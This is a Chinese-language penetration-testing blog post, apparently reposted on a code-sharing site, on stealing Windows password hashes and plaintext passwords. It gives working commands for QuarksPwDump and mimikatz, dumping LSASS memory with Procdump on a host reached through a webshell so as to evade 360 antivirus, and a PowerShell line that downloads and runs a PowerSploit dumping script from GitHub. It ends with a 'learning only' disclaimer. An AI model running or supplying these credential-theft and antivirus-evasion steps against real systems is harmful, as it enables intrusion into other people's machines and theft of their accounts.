關於Windows系列密碼抓取


     首先,還是回顧一下windows系統密碼Hash的一些知識吧:(下面這段來自網絡)

     首先介紹一下windows密碼Hash:

     早期SMB協議在網絡上傳輸明文口令。后來出現"LAN Manager Challenge/Response"驗證機制,簡稱LM,它是如此簡單以至很容易被破解。微軟提出了WindowsNT挑戰/響應驗證機制,稱之為NTLM。現在已經有了更新的NTLMv2以及Kerberos驗證體系。Windows加密過的密碼口令,我們稱之為hash(中文:哈希),Windows的系統密碼hash默認情況下一般由兩部分組成:第一部分是LM-hash,第二部分是NTLM-hash。

     NTLM-Hash與LM-Hash算法相比,明文口令大小寫敏感,但無法根據NTLM-Hash判斷原始明文口令是否小於8字節,擺脫了魔術字符串"KGS!@#$%"。MD4是真正的單向哈希函數,窮舉做為數據源出現的明文,難度較大。問題在於,微軟一味強調NTLM-Hash的強度高,卻避而不談一個事實,為了保持向后兼容性,NTLM-Hash缺省總是與LM-Hash一起使用的。這意味着NTLM-Hash強調再高也是無助於安全的,相反潛在損害着安全性。增加NTLM-Hash后,首先利用LM-Hash的弱點窮舉出原始明文口令的大小寫不敏感版本,再利用NTLM-Hash修正出原始明文口令的大小寫敏感版本。

     Windows系統下的hash密碼格式為:用戶名稱:RID:LM-HASH值:NT-HASH值,例如:

     Administrator:500:C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC:::表示

     用戶名稱為:Administrator

     RID為:500

     LM-HASH值為:C8825DB10F2590EAAAD3B435B51404EE

     NT-HASH值為:683020925C5D8569C23AA724774CE6CC

     如果你知道這個用戶的hash密碼了,拿着C8825DB10F2590EAAAD3B435B51404EE:683020925C5D8569C23AA724774CE6CC去hash在線查詢網站。

     一般我用QuarksPwDump_v0.2b來抓取整個windows系列的密碼hash,在windows server 2003那是一抓一個准,得到的hash值在http://www.objectif-securite.ch/en/ophcrack.php簡直是秒破。那么,問題來了,我在windows server 2008 和windows server2012下抓取的密碼卻是有些奇怪,按照軟件介紹windows server2008和windows server2012都是可以抓取的。好了,我還是結合虛擬機系統來說明一下。目前正好虛擬機打開的是windows server2012,那就先用它來演示一下吧。

     QuarksPwDump抓取密碼的命令如下:(其他命令可以參考軟件說明)

quarkspwdump.exe -dhl

     結合圖示,我們來看一下:

6

     好像是抓取了系統的Hash了,按照前面對windows Hash知識的介紹:

     LM-HASH的值是AAD3B435B51404EEAAD3B435B51404EE

     NT-HASH的值是CE770E312D64AE0933D455B994E9C97D

     那好,我拿得到的整個HASH值拿去在線破解,結果如下:

7

     破解不出來,對不對。這下是不是覺得很囧。

     我們拿出另一款密碼抓取神器mimikatz來試一下,和上面的結果做一下比較。命令如下:

     首先輸入命令:

privilege::debug

     接着輸入命令:

sekurlsa::logonpasswords

     圖示結果如下:

8

     有沒有發現,mimikatz和QuarksPwDump抓取的LM-HASH是不同的,而且mimikatz直接就把系統密碼給取到了。NT-HASH兩款軟件得到的結果是一樣的。

     好,再說一點滲透測試過程中的思路,我也是昨天才知道,滲透測試真的是一個漫長的經驗積累過程。先說下場景,我已經chopper連上對方主機,但是系統默認安裝了360殺毒軟件和360安全衛士。我上傳的mimikatz和QuarksPwDump都被查殺了。也就是說我想利用這兩款軟件常規思路獲取系統的密碼HASH已經是不太可能了。其實,我們可以先dump對方主機的LSASS內存文件,然后在自己主機用mimikatz進行處理,這樣就可以得到對方主機的系統HASH和密碼了。還是以虛擬機的windows server2012還演示一下。

     可以到微軟的官方網站下載ProDump,最新版本為v7.01,這個肯定不會引起殺毒軟件的報毒和查殺了。

     命令如下:

Procdump.exe -accepteula -ma lsass.exe lsass.dmp

     圖示如下:

9

     接下來,再演示一下本地用mimikatz進行破解:

     首先輸入命令:

mimikatz.exe "sekurlsa::minidump lsass.dmp"

     接着輸入命令:

sekurlsa::logonpasswords

     結果圖示如下:

10

     可以看到,能夠得到離線得到系統密碼,這樣就可以在對方主機上繞過殺毒軟件的查殺了。

     在烏雲知識庫中也有看到利用PowerShell完成Prodump一樣工作的命令。具體命令如下:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); "Get-Process lsass | Out-Minidump"

     在虛擬機下的windows server2012下進行嘗試,結果失敗了,不知道什么鬼:

11

    繼續嘗試,又成功了。囧,如圖所示:

12

    在虛擬機中windows server2008中進行嘗試,得到如下圖所示:

011

     進行破解,得到如下圖所示:

012

013

     我在被滲透主機上進行嘗試過,發現也是可行的,不過chopper的虛擬終端下會顯示錯誤,實際上已經成功執行Powershell代碼。不過總體感覺還是Prodump用起來更加方便。

     對了,Metasploit中也有集成mimkatz的。具體教程可以參考http://www.offensive-security.com/metasploit-unleashed/Mimikatz

     好了,就說到這里。算是留個筆記,僅供滲透交流學習,請不要用於非法途徑


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM